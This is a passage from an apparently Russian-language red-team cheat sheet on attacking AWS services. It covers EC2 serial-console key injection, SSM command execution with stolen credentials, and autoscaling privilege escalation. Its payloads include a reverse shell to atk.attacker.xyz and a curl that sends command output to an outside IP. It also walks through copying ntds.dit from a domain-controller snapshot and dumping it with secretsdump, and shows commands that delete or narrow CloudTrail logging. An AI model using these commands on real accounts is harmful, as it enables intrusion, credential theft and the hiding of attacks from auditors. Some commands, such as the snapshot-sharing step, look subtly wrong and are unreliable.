&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
